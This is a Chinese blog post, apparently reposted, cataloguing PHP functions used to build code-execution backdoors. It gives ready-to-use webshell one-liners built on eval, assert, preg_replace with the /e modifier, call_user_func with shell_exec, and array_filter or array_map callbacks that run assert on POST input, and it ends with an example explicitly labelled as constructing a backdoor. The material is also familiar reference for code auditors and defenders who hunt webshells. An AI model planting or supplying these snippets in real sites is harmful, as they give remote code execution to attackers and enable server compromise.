• PHP常见代码执行后门函数


    PHP常见代码执行后门函数

    代码执行:

    应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

    常见php代码执行函数介绍

    常用执行代码函数

    1、eval():

    <?php @eval($_POST['hacker']); ?>
    

    eval函数将接受的字符串当做代码执行

    2、 assert():

    用法和 eval()一样

    <?php @assert($_POST['hacker']); ?>
    

    3、preg_replace():

    <?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>
    

    preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行

    4、 create_function():

     <?php
    
    
    $newfun = create_function('$hacker', 'echo $hacker;');
    
     
    $newfun('woaini');
     ?>
    

    创建了一个匿名函数,并返回了一个独一无二的函数名

    5、 call_user_func():

    <?php
    echo call_user_func('shell_exec','whoami');
    ?>
    
    <?php
    call_user_func_array('assert', array($_POST['pass']));
    ?>
    

    函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

    call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数

    6、更多回调函数

    call_user_func_array()
    
    call_user_func()
    
    array_filter() 
    
    array_walk() array_map()
    
    registregister_shutdown_function()
    
    register_tick_function()
    
    filter_var() 
    
    filter_var_array() 
    
    uasort() 
    
    uksort() 
    
    array_reduce()
    
    array_walk() 
    
    array_walk_recursive()
    

    <?php forward_static_call_array(assert,array($_POST[x]));?>
    

    解释:把函数作为参数传入进另一个函数中使用。


    call_user_func
    

    把第一个参数作为回调函数调用

    call_user_func_array
    

    调用回调函数,并把一个数组参数作为回调函数的参数

    usort
    

    使用用户自定义的比较函数对数组中的值进行排序

    register_shutdown_function
    
    <?php register_shutdown_function('assert','phpinfo();');?>
    

    注册一个会在php中止时执行的函数

    array_map
    

    为数组的每个元素应用回调函数

    array_walk
    

    使用用户自定义函数对数组中的每个元素做回调处理

    array_filter
    

    用回调函数过滤数组中的单元

    array_reduce
    

    用回调函数迭代地将数组简化为单一的值

    array_udiff
    

    用回调函数比较数据来计算数组的差集

    array_uintersect
    

    计算数组的交集,用回调函数比较数据

    array_diff_uassoc
    

    用用户提供的回调函数做索引检查来计算数组的差集

    array_diff_ukey
    

    用回调函数对键名比较计算数组的差集

    例子:

    <?php
    
    //数组回调进行构造后门
    $arr=array($_POST['pass']);
    array_filter($arr,'assert');
    array_map('assert', $arr);
    uasort($arr, 'assert');
    //等等,用回调函数进行构造
    ?>
  • 相关阅读:
    【NOI2015】品酒大会 SAM
    4566: [Haoi2016]找相同字符 SAM
    3709: [PA2014]Bohater 贪心
    1925: [Sdoi2010]地精部落 dp, 抖动子序列
    4205: 卡牌配对 最大流+建图技巧
    留言板
    self-introduction
    最近比赛
    STOI补番队胡策
    BZOJ 3503: [Cqoi2014]和谐矩阵( 高斯消元 )
  • 原文地址:https://www.cnblogs.com/LeeeBoom/p/12359848.html
Copyright © 2020-2023  润新知